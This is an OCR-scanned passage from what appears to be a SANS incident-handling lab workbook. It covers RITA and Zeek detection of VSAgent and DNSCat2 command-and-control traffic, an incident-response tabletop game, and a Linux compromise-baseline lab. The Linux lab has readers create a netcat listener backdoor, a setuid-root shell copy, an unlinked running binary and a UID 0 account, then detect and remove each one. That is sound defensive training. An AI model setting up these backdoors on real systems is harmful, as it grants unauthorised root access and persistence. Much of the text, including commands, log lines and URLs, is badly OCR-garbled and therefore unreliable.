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We also have the number of connections. While some beacons have a strong heartbeat, they are very shortin
nature. Our YSAgent connection had a very large number of connections which had very strang intervals, while
some of the others (e.g. the 64.4.54.253 addresses) had a strong heartbeat, but not as many connections. We
will also talk about TS Duration. This is detecting how consistent each connection duration is. For example, if

every connection is 2 secands and there are 8000+ it would have a very strong 75 Duration score.

The other fields are statistical analysis fields showing things like mode range and skew.

(£




Blacklisted

Now select Blacklisted(1).

Maorilks Firefox - B R

{ fiettimome e S Mselse %

IR 21- I S

. RAA Viewng: VSAGENT ! Beacy ; [ Srang Long Comneciions | Long URLs | User Agents RITA o1

Dastination Score Source(s)

54.174.144 244 1 10.234.234.103

157.240,325 Pl 10.234.234.108,10.234 234.102, 10.234.234.101, 10.234,234,104, 10.234.234.102
80.67.16.124 3 10.233.233.5.

1er.240.288 1 10.234.234.104, 10.234.234.101, 10,234 234 106, 10.234.234.103, 10.234.234.102

This screen shows all the internal systems that connected to external blacklisted sites. This listing comes from
Google's Safe Browsing API,

The Destination is the offending Blacklisted site and the sources are the internal systems which were
connecting to known blacklisted sites, The reason we have this data in this sample set is interesting. As part of
setting up this lab, we set up a large number of systems constantly choosing a random top 500 site and surfing
to it for five-min. intervals. Oddly enough, just by this automated activity, we had some systems go to same had
sites via the advertisements hosted on the top 500 sites we visited automatically. This capture ran overnight
and demonstrates just how dangerous allowing your users to access ad sites can bel

User Agent Strings

Now we want to look at the user agent strings in the Zeek logs. For this, we would be looking for strange user
agent strings. Many times, this can be used to identify systems and applications that are behind on patches.

However, in this one, if you look at the second to last on the list (1), you will notice the number of connections.
Anything cdd about that (2)7 Go back and iock at the Beacons tab and review the number of connections the
top entry had. The number almost matches perfectly. If you have 1000s of systems and you have the same
system using a unique user agent string, again and again, that may be something to investigate.
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DNSCat2 Analysis

Now, select RITA and then select DNSCat (1), We are going to review a backdoor that does not quite fit the same
mold as VSAgent.

© umlaFaster . L. - -~ a %

i = This dees not beacon back to a specific IP address, but rather it beacons through a DNS server. [tis very crafty
and will highlight how we can review the RAR compressed Zeek logs used to generate the RITA data.

For this one, we are going to jump right to the DNS tab (2). It gives us the clearest look at this backdoor,

Miuzlila Firafox - a X

SR : Visite Bomaih
i o 120762 com
82420 . na\ubuminja.f,.m_m
82820 gal panoboninjas com
[ net
15648 akeralodge net
250 4803 arg




A couple of things should jump out at an investigator straightaway. First, there ware 82,920 requests for
cat.nanohotninjos.com. This is an absurd number for a specific domain, Sure, there are [ots of requests for com
and org and net and uk, but that is to be expected,

Let's driil in a bit more to see what is going on. Lucky for us, we have the raw Zeek logs and we can search them
far more details!

Searching Zeek Logs

Return to your terminal window. Change directories to where the raw data RITA analyzed is stored, as shown
here:

secEO4@slingshot:~/tools/Enterprise_Lab$ cd
/home/se0504/toels/Enterprisa“Lab/DNSCatWLOQSIZOl7~O3—20/
sec504@slingshct:~/tools/Enterprise_Lab/DNSCatgLogs/2017~03—20$ ls -1zt
total 12672

“rw-r--r-— 1 sec504 sec504 199 Mar 20 2017 conn-summary.06:00:00-01:00:00. log.gz
—rw-r--r—— 1 sec504 sec504 589 Mar 20 2017 conn,00:60:00-~01:00:00.10g. 9z
“IW-r-—r-- 1 sech0d sec504 200 Mar 20 2017 conn-summary,01:00:00-02:00:00.loy. gz
“rw-r--r-- 1 sec504 sec504 566 Mar 20 2017 conn,. 01:00:00~02:00:00. log.gz
~rw-r-—r--— 1 sec%04 sec504 188 Mar 20 2017 conn-summary.02:00:00-03:00:00. log.gz
—rw-r--r—— 1 sec504 sec504 576 Mar 20 2017 conn.02:00:00-03:00:00.10g.gz

This is one of the two directories RITA reviewed. Since the capture ran overnight we are just checking one day.
By default, Zeek will capture a large variety of data induding connectien logs, DNS data, and HTTP data.

However, the data is compressed and distributed across several files. To evaluate all of this content together we
can usethe . zgrep . utility.

Analyzing Zeek Logs with zgrep

compressed Zeek DNS logs, We can use the ;_ zgrep utility like the = grep ! tool to search for the
nanobotninjas domain. Run the ‘ zgiep - command as shown here:

Copyright & 2019, loshua Wright and Mike Muer, All Righis Reserved 24
2y 4 3



gec5046slingshot:~/tools/Enterprise Lak/DNSCat Logs/2017-03-20% zgrep nanobotninias
dns*

dns.23:00:00-00:00:00.10g.92:1490072377.618280 CobEtxFl6rCkOutMEw? 10.234.234.105
56122 8§.8.8.8 53 udp 8475 0d6c01050c0d05fbab. cat.nanobotninjas. com 1
C_TNTERNWET 16 TXT ol NOERROR F F T T 0 TXT 18 77ael1050cfbabl0dis
59,000000 ¥

dns.23:00:00-00:00:00.10g.9z:1490072378.790228 ChEtxFlerCkOutMKw2Z 10.234.234.105
56122 8.8.8.8 53 wudp 2535 4ce801050c0d05fbab. cat.nanobotninjas, com 1
C_INTERMNET 16 THT O NOERROR F F T T g TXT 18 22a501050cibab0d05
55G.000000 F

dns,23:00:00-00:00:00.10g.9gz:1450072379.974353 CbEtxFl6rCkOutMKw2 10.234.234.105
56122 8.8.8.8 53 udp 29800 72e501050c0d05fbabk . cat . nanobotninjas. com 1
C_INTERNET 16 TXT O NOERROR F F T T 0 TXT 18 d9d501050cfbabidis
59.000000 F

dns.23:00:00-00:00:00.10g.9%:1490072381.130353 ChEtxF16rCk0utMKw2 10.234,234.1035
56122 8.8.8,8 53 wudp 29488 251d01050c0d05fbab. cat.nanobotninjas.com 1

C INTERNET 16 TXT O NOERRCOR F F T T 4] TXT 18 €3f901050cfbak0dlbs
59.000000 F

dns.23:00:00-00:00:00.10g.97:1490072382.294343 ChbEtxF16rCkOutMKuw2 10.234,234.105
56122 8.8.8.8 53 udp 10320 288f01050c0d05fbab. cat.nanobotninjas.com 1
C_TNTERNET 16 TXT 0 NOERROR F ¥ T T 0 TXT 18 el7601050cfbabldis
58.000000 F

dns.23:00:00-00:00:00.10g.92:1490072383.478279 CbhEtxFlérCkOutMEWw2 10.234.234.105
56122 8.8.8.8 53 udp 18546 074001050c0d05fbak . cat.nanchotninjas. com 1
C_INTERNET 16 TXT ¢ NOERROR F F T T 0 TXT 18 104701050cfbab0d0s
59.000000 F

dns.23:00:00-00:00:00.1og.gz:14%90072364.646291 CbEtxF16rCkOutMKw2 10.234.234.105
56122 9.68.8.8 53 udp 29275 410d01050c0405fbab. cat.nanchotninjas.com 1
C_INTERNET i6 TXT O NWOERRCR F 13 T T 0 TXT 18 €28501050¢fbab0d0s
59.000000 F

dns.23:00:00-00:00:00.109.9=2:1490072385.834344 CbEtxFlérCkOutMEw2 10.234.234.105
56122 8.8.8.8 53 udp 26524 481b01050c0d05fbab. cat. nanobotninias. com 1
C_INTERNET 16 THT O NOERROR ¥ F T T 0 TXT 18 396701050¢fhabldis
59.000000 F

dns.23:00:00-00:00:00.100.92:1490072386,990271 CbEtxFlérCklutMKw2 10.234.234.105
56122 8.8.8.8 53 udp 25456 4da001050¢c0d05fbab . cat.nanchotninjas, com 1
C_INTERNET 16 TXT 0 HOERROR F F T T 0 TXT 18 ccdd01050cfbab0d0b
59.000000 3

dns,23:00:00-00:00:00.10g.g=:1490072388, 174225 CbhbBtxFlerCkOutMKw2 10.234.234.105
56122 8.8.8.8 53 udp 24246 421b01050c0d05Ebab. cat.nanobotninjas. com 1
C_INTERNET 16 TXT O NOERROR F 1 T T 0 TRT 18 71d501050cfhab0d0s
59,000000

This command will identify any log lines matching the nanobotninja string in any of the Zeek logs,

Searching Zeek Logs

Copyr




In the below screen, we can see the output of the query. Turns out, there were a very large number of TXT
requests from 70.234.234.105 for cot.nancbotninja.com (1).

But, look at the subdomain right before the cat.nanobotninja.com portion of the log entry. We can see a random
string {2). This is never normal activity and it happens because DNSCat needs to generate a new request for
each subdomain system to avoid cached results, This forces the DNS server (8.8.8.8) to constantly go to the
nanobotninfa.com DNS server for resalution (3). And that is how some DNS C2 channels can be detected!

[E— Lot - - o ox
Fin  Fde Ww S:{hk. .- : o ’ o . ) o ] ._ .. B )
dns,23:90:80-00;00: 03 1og.gz!1490672367.094236 CHETXFLErCkautiiw 19,234,234.105 56122 8.8,8,8 53 udp
28283 3bszamsaced05fhah cat.nanohetninjas. cam 1 C_TNTERHET 18 TXT [:} NOERROR
F f T T/ o8 TXT 18 adldeles58ctbabodes 53.000800 F 1
dns.23:90;00-90:00:08. ag., 4975 2622 10,234, 234.165 55122 8.8.8.8 53 udp
17581 adnelasaceduﬁfha gg;c nANobot: € _INTERNET 16 T B NOERRGR
F F T T TXT 18 bdw?bIGSGCfbathHS 539.4900000 F o2
ns.23:60:00-00:00:80, Log.qz: 1456372355 442298 CHEtxF16rCKOUTHKW 16.234.234.165 561%%*’1{%8 155 udp
16470  Ba5001050cadd5thab gt RanGAGEAT 1 C_INTERNET 16 TXT NOERROR
- T a TXT 18 eBZcGIBBG:fbathﬂS 59.000000 F
0072378, 614281 ChELxE 18.234,234.305 56122 ESS udp
._at nanobotninjas, con| €_INTERNET 16 NGEXROR
TXT 18 e¥cfi1058cfhabades 59.6a8a80 F .
8972371 770250 ChELxF16rChOutHKwz 18.234.234.105 56222 §53 udp
 cat. nanobotninjas. com 1 C_INTERNET 16 NDERROR
L] TKT 18 6c25010858cFhabpdas §9.869080
0872372.942356 ChEthIGerGutHKwZ 16.234.234.105 56122 &.8.2,8 53 udp
15934 ab. cat, nanobotninjas.com € _INTERNET 18 TXT 8 NQERROR |}
F ] TXT 38 TddeIOSBcfﬁadeBS 59.0880000
dns.23:86:00-60:00:00.10g,02 11490672374, 114256 ChEtxFI6rCkutMKwZ 10.234.234.165 56122 8.8.8.8 53 udp
28327  GceceBlB50cbdBSfbab, cat, nanobotninjas, com 1 C_INTERNET 16 TXT [} NOERROR
F F T T ] TXT 15 B66401050cfhahodes 59.608000 F
dns,23:00:60-08:06:00, Log. g2:1490072375,278348 ChEtxF16rCKOUTMKW2 10.234,234,185 55122 8.8,8.8 53 udp
23807  705101856c8d05fiabk. cat. nanckotninjas.cem 1 C_TNTERNET 16 T & NOERROR
F . F T T & TXF 18 2ba301050cfbahedas 59.000000 F i
Conclusions

In this lab, we looked at a couple of backdoors which traditionally are difficult to detect with current IDS/IPS
technology. However, using statistical and frequency analysis using Zeek and RITA we can look for anomalies.
Those anomalies can lead to interesting domains and connection patterns which can be indicative of an
advanced adversary. RITA also supports a number of features to make analysis even more powerful such as
domain whitelisting, IP whitelisting and domain name generation algorithms.

RITA is free and can be installed in less than 5 min on an Ubuntu system. So, go get it!

Why This Lab Is Important

It's vital to be able to review network data for indicators of data exfiltration or command and control
(sometimes called C2) traffic. If you have the right tooling, like RITA and Zeek, detecting this can be very easy.
Unfortunately, many environments have little or na monitoring set up to detect tools such as these. All
defenders should periodically check to see if they have the ability to at least detect when attacks are used on
their network.

Bonus (If Time Permits or Homeworlk)
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= look at the extensive documentation (httpsyiwww.oro.crg/documentation/indexchtmiy and training

(https:/Awww bro.org/documentation/tutorialsfindex.hmiy the Zeek project provides for free.

o Setup Zeekand RITA in a lab and use the tools and technigues you tearn in this class, You should be able
to see many of these attacks!

Additional Resources

SANS Classes Related o This Lab

SANS SEC503: Intrusion Detection In-Depth (https/iwww.sans.orgicourse/inirusion-detection-in-depth)

SANS SEC511: Continuous Monitoring and Security Operations (https://wwaw.sans.org/course/continuous-monitoring-

! security-operations)
SANS SECE55: SIEM with Tactical Analvlics (htpsiiiwwye sans.org/coursessiem-with-tactical-analytics)

= Other Resources Related to This Lab

NMetwork Forensics: Tracking Hackers through Cyberspace (https://www.pearson.comsus/higher-education/program/Davidoff-

setwork-Forensles-Tracking-Hackers-through-Cyberspace/PGM322390, htmi)




Brief Intro

This lab is very different. Working together, you and your classmates will work an incident.

Walkthrough

Introduction

One of the most powerful tools any company has is the ability to tabletop issues. However, many organizations
handle these tabletops as dry policy reviews where arguments tend to break out over exactly what would or
would not happen in an incident.

We wanted to break through that a bit. Instead, we developed an approach which brought some ltevel of
gamification to tabletops.

To prep for this tab, please break up into teams of about five. Pick one person on the team to be the Incident
Manager (IM),

We encolrage you to take these documents to work and walk through this with your co-workers. This is very
important for our online training students in OnDemand and Simulcast,

If you are taking the class via SANS vLive, your instructor will play the part of the Incident Manager during the
lab; if you are taking the class via SANS OnDemand, you'll receive both the IM and the player sheets for which
you can formulate the appropriate questions and answers for the incident walkthrough.

IR Tabletop Roles — The Incident Manager

When you pick an IM, this person will be responsible for walking the players through the exercise. There are
two handouts for this lab. One is for the IM and the other is for the players. The handout will have all of the
information the IM needs to successfully navigate the lab.

The IM should not get bogged down into the details of the incident, nor should they punish players and make
the game toa difficult. The goal Is to keep the players moving in the right direction and uncover potential
shortcomings in an organization's IR processes.

To summarize:
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= Identify one person in your group to be the incident Manager (iM}
»  As part of this class, your instructor should be sharing handouts for the IM and the players.
- The IM handout-has the overall detail of the incident and various.injects,
s The goal of the IM is to keep the walkthrough moving and enjoyable.
e |tis notto get bogged down into details
= jtis nat about punishing the players

s The IM can create additional details from the handout as they see fit.
s Tha M can also prod the players in the right direction
s For example, an IM can ask: Don't you think it would be o good idea to check the Active Directory logs?

» Once again, the goal is to keep the scenario fun and moving in the right direction!

IR Tabletop Roles — The Players

It is absolutely essential for the players to collaborate through this lab. Do not have just one person answer all
the questions and take over the game. Incorporate the opinions and backgrounds of others. Also, as part of this
fab, there are handouts. The one for the players has a list of procedures the organization has for incident
response. Please note, the list of procedures is pretty light. This is intentional. One of the goals of this lab is to
identify which procedures would be helpful for the organization to create.

Please note, any and all actions taken by the team will succeed or fail based on a random roll of the dice. Please
feel free to download a 20-sided dice app from either Google Play or the Apple Store. There is a large number
of options available.

To summarize;

»  The role of the players is to figure out the different components of the attack and isolate the compromised
system.

= This is done by asking the IM questions and taking actions.

o The success or failure of the actions will be determined by the roll of a die (more on that later).

o Please review your handouts now,

s Tney will tell you what procedures your team has created before an incident.

»  These are not the only actions you can take as a team, but there is a pasitive modifier on your rolls when
you do these actions,

= Besure to discuss each action as a team.

e Do notlet the team be taken over by one person.

» |fthere is an action that the team wants to take, but there are not procedures on your handout, note it.
This is a procedure that needs te be written by the team.

IR Tabletop Rules

What the IM says goes. No guestions. It keeps the game moving.




For the 20-sided die, any and all actions will be determined successful if the rolf is over 11. If the roll is 10 or
below the action fails.

The players will receive a handout that has a list of potential incident response policies, procedures,
technologles, and training items that will be given a +2 modifier. Players will need to choose up to 5 items per
team from the bonus modifiers list before the game starts.

To summarize:

*  What the IM says goes. No exceptions.
» Every action that is taken requires a roll of a 20-sided die.
* Feelfree to download an app on one of your phones to do this. There are lots of D&D dice apps.

* Aroll of 1-10 fails. This means the action was not successful.

* Avoll of 11-20 succeeds. This means the action was successful,

= The team gets a +2 modifier if the action they take is from the list of selected bonus madifiers.
* This means a roll of 9 would normally fail...

e However, with the procedure modifier, the roll would be 9+2=11!

IR Tabletop Injects

Throughout this game the IM will insert positive and negative injects.

The goal of these injects is to add yet more randomness and insanity into the game. These allow a simple
phishing scenario to become something pretty wild and crazy. They also serve to identify potential weaknesses
in the process,

For example, let’s say there is one person on a team who is always answering questions. With injects, the IM
can take that persor out of the game (Congratulations! You won the lottery and quit in the middle of an
incident!) to see how the other people on the IR team react without them.

It also allows the game to be played multiple times, each time with a potentially different cutcomet
To summarize:

* Throughout the exercise, the IM can drop random injects into the game.

* These are either positive or negative events which will impact the outcome of the game.
* For example, an intern may power off the system you are reviewing,
» Or, the SIEM stops logging data for mysterious reasons.

* The goal of the Injects is to keep the game from getting stale.
* Italso means your team's game will be different from other teams',
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Conclusions

At the end of this lab you should have identified some missing procedures. In the real world, this would
hopefully kick off a task for your team to develop these procedures for a future incident.

Please feel free to take this lab to work and run through the scenario there, Also, feel free to take a recent news
story about a breach and turn it into a game like this. The rolls and the injects should be enough to have the
tabletop not follow the news story exactly.

Ideally, you should be able to walk through this lab multiple times at work. Each time discovering new twists
and missing procedures. It is far easier and more fun to work through this in a tabletop than in a real incident!

To summarize:

«  One of the main goals of this lab s to help identify which procedures would have been helpful to the game.

»  In areal tabletop, these missing procedures should be noted as tasks for the teamns to develop.

s Moving up from procedures, what policies or processes would have been helpful?

» Feel free to play these games at work.

»  Take a newsworthy incident and turn it into a game like this one.

s The random injects and rolls will help so it is not just a walkthrough of a news story.

s Repetition of this lab at work will help identify weaknesses that normally would not be identifled exceptina
real incident,

Additional Resources

Everbridge Tabletop Exarcises (hups/www.everbridge.com/solutions/alert-residents-and-visitorsitailetop-exercises/)

Dungeons & Dragens, Meet Cubicles & Compromises {hitps:Aveae blackhillsinfosec. com/dungeons-dragons-inest-cubicles-

compromlsess)

Webhcast: Cubicles and Compromises (httpsy//www,blackhifisinfosec.com/webcast-cubicles-compromises)

i
i




Brief Intro

in this lab, we'll create a baseline for Linux systems,

Requirements for This Lab

In this lab you will use your Slingshot Linux ¥M. Make sure the VM is running before continuing with the lab
exercise,

Try It Yourself

Create a series of checks that can be used to determine if a Linux machine may have been compromised. You
can use the Windows Cheat Sheet lab as inspiration,

Walkthrough

Intro

Now, let's check out the cheat-sheet tips in action. You run several lab steps to look at the results your sys
admins can expect to see. Boot up your Linux box.

For some of the cheat-sheet tips, we just run the command and look at our system's status.

For others, we actually create the condition the cheat-sheet tip is designed to detect. Then, we detect it using
the tip. Then, we restore things, so that our box isn't left in a half-hacked state.

Open a Terminal, Access Root Account

From the Slingshot Linux VM, open a terminal. Access the root account using | sudo  as shown here:;

sec504@slingshot:~% sudo su -
[sudoc] password for secS04: secbi4
root@slingshot:~#
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Start an Unusual Process

y First, let's look for unusual processes. We'll start this simply by creating a copy of the Netcat program that can
be used as a backdoor.

Run a Netcat listener on TCP port 2222 in the background, as shown here:

root@slingshot:~# ne =1 -p 2222 &
[1] 5458

i In this output, the number 5458 is the process ID (PID) of the ! nc " process. This number will be different on
' ' your system. We'll use the PID of the | nc | process for the next step

Examine Process Data with Isof

Next, run the 1sof - - command to zoom into what files and ports the rt ! process has open, Run

with the P argument followed by the pracess ID for the . nc ¢ command that you saw in the prevtous step.

In the example here, the PID is 5458, but it will be drﬁerent on your system. Specqj/ the PID number that is the
output of the prewous step. In a pinch, you can also use | lsof -p ‘pidof nc'  (using the backtick character

before pmof L and after © nc ).




root@slingshot:~# lsof -p 5458

lscf: WARNING: can't stat() fuse.gvisd-fuse file system /run/user/1002/gvfs
Qutput information may be incomplete.

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

nc 5458 root cwd DIR 8,1 4096 915714 /root

ne 5458 root rtd DIR 8,1 4086 2/

nc 5458 root txt REG 8,1 27152 1310337 /bin/nc,traditional

nec 5458 root mem REG 8,1 47600 793216 /lib/x86 64-linux-

gnu/libnss files-2.23.s0

no 5458 root mem REG 8,1 1864888 793212 /lib/x86 64-linux-gnu/libc-~

2.23.80

nc 5458 root mem REG 8,1 162632 793213 /lib/x86 64~linux-gnu/ld-

2.23.s80

nc 5458 root u CHR 135,0 ot0 3 /dev/pts/0

nc 5458 root lu CHR 136,0 0to 3 /dev/pts/0

ne 5458 root 2u CHR 136,0 0to 3 /dev/pts/0

nc 5458 root 3u  IPv4 141452 Cto TCP *:2222 {(LISTEN)

The output of lsof . gives you an idea of what the data should look like for this process.

Start the Unusual Process

Kilf this little listener by running the | killall ! command, as shown here:

root@slingshot:~# kiliall ac

[11+ Exit 1 ne -1 -p 2222

Create an Unusual File — SUID Root

Now, let's turn our attention to unusual files. We'll start by creating and looking for set-UiD or SUID root files.
These are the files that will always run with root privileges, regardless of who invokes them.

From your terminal, change into your | /tup | directory with * ca , as shown here:

root@slingshot:~# cd /tmp
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Create a copy of the bin/sh  shell here, calling the file  backdoor *, using cp as shown here:

root@slingshot: /tmp# cp /bin/sh /tmp/backdoor

Next, let's set that backdoor so that [t will execute, and will execute as its owner (SUID roat). Do this with the
. chmed - command, as shown here:

root@slingshot:/tmp# chmod 4111 /imp/backdeor

Note that the | 1s = argument is a dosh, foliowed by Jowercase L. Not a dash-one!

root@sliingshot: /tmp$é 1s -1 backdoor
——-5--x--x 1 root root 154072 Mar 20 02:47 backdoor
root@slingshot: /tmp#

See the j' s | inthe file permissions? That means the program has the SUID bit set.

user is instantly given a root command prompt! That's a scary backdoor, giving all users on the box root if they
find it.

Find the Unusual File — SUID Root

We can find SUID root files on the system by running the foliowing . find_ command:




rootBslingshot:/tmp¥ find /tmp -uid ¢ -perm -4000 -print s
/tmp /backdoor :

spot it? Bingo! Now, let's delete that dastardly backdoor:

root@slinshot:/tmp# rm /tmp/backdoor

Unusual Files — Unlinked

Now, let's create a network-listening process and then urdink the executable associated with it, Bad guys do this
sometimes to disguise their activities by making their backdoors harder to find. First, create a copy of Netcat in
the | /tmp | directory and run it:

root@slingshot:~# od /tmp
root@slingshot:/tmp¥ ep /bin/ne /tmp/ne
root@slingshot:/tmp¥ /tmp/ne -1 -p 2222 &
[1] 88592

Make sure you run Netcat binary out of j_. tmp Ifyou just typed * nc © instead of | /tmp/nc  this port of the
lab won't work!

Next, look at the executable nc file using 5'1;““41' .

root@slingshot:/tmpé ls ~1 /tmp/ne
-rwxr-xr-x 1 root rgot 27152 Dac 14 20:49 /tmp/nc
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Then, unlink this file so that it won't show up with an " is using the command " anlink

Run : 1s -1 again. This time, the  nc  binary is gone!

root@slingshot: /tmp# is -1 /tmp/ac
1s: cannot access '/tmp/nc': No such file or directory

Yet, Netcat contintes to run (as shown by ps aux | gzep nc '), even though “1s5 -a ! cannot see it.

root@slingshot:/tmp# ps aux | grep /tmp/ne

root 8859 0.0 0.0 6496 1784 pts/l 5 02:55 0:00. /tmp/nc -1 -p 2222
root 2002 0.0 0.0 14224 1020 pts/1 5+ 02:55 0:00 grep --color=auto
/tmp/nc

root@slingshot:/tmp# Ls ~a /tmp/nc
1s: cannot access '/tmp/nc': No such file or directory

But, cur handy- dandy cheat sheet says to use | 1sof ! to see the unlinked binary. Run the | ‘1sof = command
with the argument * {thatis a plus sign, followed by an uppercase L then a one}, as shown here:

root@slingshot:/tmp4 lsof +Ll
1lsof: WARNING: can't stat() fuse.gvisd-fuse file system /run/user/1002/gvfs

output information may be incomplete.

: COMMAND PID USER FD TYPE DEVICE SIZE/OFF NLINK MODE NAME
! mysgld 1030 mysql 4u  REG 8,1 0 0 20 /tmp/ibpIEsvY
‘ ' (daleted)
mysqld 1030 mysql 51 REG 8,1 0 0 21 /tmp/ibLiKSKB
(deleted)
nc 2894 root txt REG g,1 27152 0 34 /tmp/nc (deleted)

AR
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root@slingshot:/tmp# killall nqg

[11+ Exit 1 /tmp/ne -1 -p 2222

Network Usage with Isof

Next, create a Netcat listener on TCP port 2222 again in the background and look for it with 1sof -PBi |, as
shown here;
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roct@slingshot:/tmp# cp /bin/ne /tmp/nce
root@slingshot:~# /tmp/nc -1 =-p 2222 &

{11 2967

root@slingshot:~# lsof -Pi

COMMAND PID USER FD TYPE DEVICE S$SIZE/QOFF NODE NAME

avahi~dae 769 avahi 12u  IPvd 13555 0to Upp  *:5353

avahi-dae 769 avahi 13u IPvwé 1355¢6 0t0 Upp  *:5353

avahi-dae 769 avahi 14u IPv4d 13557 0to UDP  *:50115
avahi-dae 769 avahi 15u IPvé 13558 oto UDP  *:44953

postgres 866 postgres 6u  IPvé 13798 0t0 TCP localhost:5432
(LISTEN)

postgres 866 postgres TJu IPv4 13799 0to TCP localhest:5432
(LISTEN)

postgres 866 postgres 1iu IPvE 15272 0to Uubp localhost:471109-
>localhost: 47119

postgres 915 postgres 1lu IPwo 15272 ot UDP localhost:47119-
»localhost: 47119

postgres 916 postgres 1lu IPv6 15272 0to UDP localhost:47119-
>localhost: 47119

postgres 917 postgres 1lu  IPv6 15272 0to UDP localhost:47119-
>localhost: 47119

postgres 918 postgres 11lu IPvé 15272 oto UDP  localhost:47115-
»localhost: 47119

postgres 919 rpostgres 1lu Ipve 15272 0to UDP localhost:4711%-
>localhost:47119

sshd 1031 root 3u IPvéd 15742 0t0 TCP *:22 (LISTEN)
sshd 1031 root qu  IPve 15751 oto TCP *:22 (LISTEW)
mysgld 866 mysql 13u IPv4d 18594 0td TCP localhost:3306
(LISTEN)}

nging 1082 root éu IPv4d 15198 0t0 TCP *:80 (LISTEN}
nginx 1093 www-data ou  IPvi 15198 ot TCP  *;80 (LISTEN}
nginx 1094  www-data f11  IPvd 15198 0to TCP  *:80 (LISTEN)
nmbd 1148 roct l6u  IPvd 17842 0to Ucp  *:137

nc 2967 root 3u  IPvd 31800 0t TCP *:2222 (LISTEN)

See it? What is the PID? How can you get more info about that process? (Hint: | Lsof | is your friend.)

Thusual TID 0 Accounts

Now, we create and look for uhusual accounts.

First, look for UID and G/D 0 accounts on your box. There should be a few:

loshon Wright and &

T AT
COpyrig

45




root@slingshot:~# grep :0: /etc/passwd
root:x:0:0:root:/root:/bin/bash

Now, let's add a new UID 0 (root-levell) account on the box, We'll run the useradd command, with the : —0

flag (to override the requirement that each account have a unlque ulD number), the -u i flag {fora UID of 0),

and the -5 . flag (to set the account's shell to - /sbln/nologln |, 50 no one can log in with it}, Name the

account ’ test |

root@siingsheot:~# useradd ~o -u 0 -s /sbin/nologin test
rootlslingshot:~#

Now, look for this account by running that - _grep on the : /etc/passwd - file again:

f root@slingshot:~# grep :0: /etc/passwd :
: root:x:0:0:root:/root: /bin/bash %
test:x:0:1004::/home/test: /shin/nologin

See it7 | sure hope your system admins would.

Sorting Accounts

Now, let's run that * sort ~ command for ‘. ')été/péé'é{,éd“', 50 we can review all accounts, sorted by UID, That
way, the UID 0 stuff appears at the top. Pay special attention to accounts with UIDs less than 500, because they
are often associated with more sensitive information,

The syntax of our sort command includes -n (sort numerically), ¥3 {key on the third entry of each line),
and = -t: (usea colon as the delimiter of the flle)
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:i : root@slingshot:~# sort fete/passwd -nk3 ~t: | less
‘ . rootix:0:0:root: /root: /bin/bash

test:x:0:1004:: /home/test: /sbin/nologin
y; daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nolegin

bin:x:2:2:bin:/bin; /usr/sbhin/nologin
sys:x:3:3:sys:/dev:/usr/shin/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games:/usr/shin/nolegin

man:z:6:12:man; /var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p: /var/spool/lpd: /usr/sbin/nologin

mail:x:8:8;mail:/var/mail:/usr/sbin/nologin
news:x:9:%:news: /var/spool /news: /fusr/sbin/nologin

Do you see your evil test account now (the second account in the list with UID 0)?

To exit less, press the Q0 key.

When you are finished with this page of the lab, delete the test account using the - userdel command, as

shown here:

root@slingshot:/tmp# userdsl -xrf test

userdel: user test is currently used by process 1
userdel: test mail spool (/var/mail/test) not found
userdel: test home directory (/home/test) not found
root@slingshot:/tmp#

You will see an error message userdel: user test is currently used by process 1 and some not found errors as well,

but these can be ignored,

You can confirm that the ~ test | account has been removed with ~ grep | again:

root@slingshot:/tmp# grep :0: /etc/passwd
root:x:0:0:root: /root: /bin/bash
root@slingshot: /tmp#
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Unusual Log Entries

As a final lab step, we look threugh our log files for an unusual entry associated with a network interface going
into promiscuous mode.

First, run the following command to make your Linux VM's network card go inte promiscuous mode:

rcot@slingshot:~# ip link set ethd promise on

This command doesn't display any output to the console. You will simply be returned to your prompt.

Next, look for a log entry that indicates that the interface went into prormiscucus mode:

root@slingshot:~# dmesg | grep promisc
[81439.416893] device eth0 entered promicucus mode

See it? Good. Now, clean up by turning promiscuous mode off:

root@slingshot:~4# ip link set eth0 promisc off

Why This Lab Is Important

We've said it before, and we'll say it again multiple times throughout this class: It is vital that you have a good
understanding of what is "normal."

Bonus (If Time Permits or Homework)

+ Download a deliberately vulnerable version of Linux (such as Damn Vulnerable Linux

{hetpsi/Awweevilnhiub.comiseries/damn-vulnerable-linux, 17 ) to learn how to spot issues before the bad guys do.
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» Review hardening guides such as those available from the Center for Internet Security

(hitps.//www cisecurity.orgs)

Additional Resources

Related SANS Classes

SECSGA: Securing Linux/Unix {heps:/fwww.sans.org/courselsecuring-linteunix)

Related Books

The Practice of System and Network Administration: Volume 1; DevOps and Other Best Practices for Enterprise {7, 3rd

Edition (hitps/fwww.pearsen.com/us/higher-education/program/U monceli-Practice-of-Systern-and-Network-Adrninistration-The-Volume-

1-Dev-Ops-and-other-Best-Practices-for-Lnterprise-T-3rd-Edition/PGM281 808.himi}

Topy
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Brief Intro

In this lab you will use SpiderFoot to evaluate data captured for the Counter Hack Challenges website at
wwaw.colinterhackchallenges.com {http./ A counterhackehalienges.com) |

Requirements for This Lab

In this lab you will use your Windows 10 VM. Make sure the VM is running before continuing with the lab
exercise.

Try It Yourself

Launch SpiderFoot from the desktop icon and evaluate the OSINT data results to identify Counter Hack
affiliates, co-hosted websites, email addresses for employees, a hacked email account, and web technology in
use.

Walkthrough

[n this lab, you will evaluate the SpiderFoot search results for the target site www,counterhackchaflenges.com

(http:f/wwwceUnterhackchalEenges.com) .

Counter Hack Challenges is a company founded by Ed Skoudis where he and his team perform information
security consulting services for select customers, develop the NetWars product line for the SANS Institute, and
publish the Holiday Hock Chailenge hteps: /A holidayhackehollenge.com) every December,

In this lab exercises you will use the SpiderFoot search results to identify several key pieces of information,
including:

*  Counter Hack affiliates including hosting companies and service providers
*  Co-hosted websites including virtual web hosts associated with www.counterhackchallenges.caom

(htip /v counterhackchallenges.comy)
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= Several employee email addresses
s One hacked email account
o Web technology in use supporting the www.counterhackchallenges.com (hitpywsw.counternackehallenges.corm)

site
Start SpiderFoot

First, launch the SpiderFoot application by double-clicking the Windows Desktop SpiderFoot icon,

This fauncher script will start the SpiderfFoot application, then luunch the web browser. Spiderfoot is o focal, web-
based application listening on TCP port 5001,

| SpiderFoatva12

R i(D 127.0.0.1:5051

T Filter: None -

4 Status

¢ Target . ¢ Started |
ywy LoUnterhackehalienges.com  2019-03- ¢ 2019-03-
15 " 16 :

12:33.84 - 19:52:07 :

¢ Finished

: glt kringlecastie.com 2019-02- - 2012-02-
: 24 D24
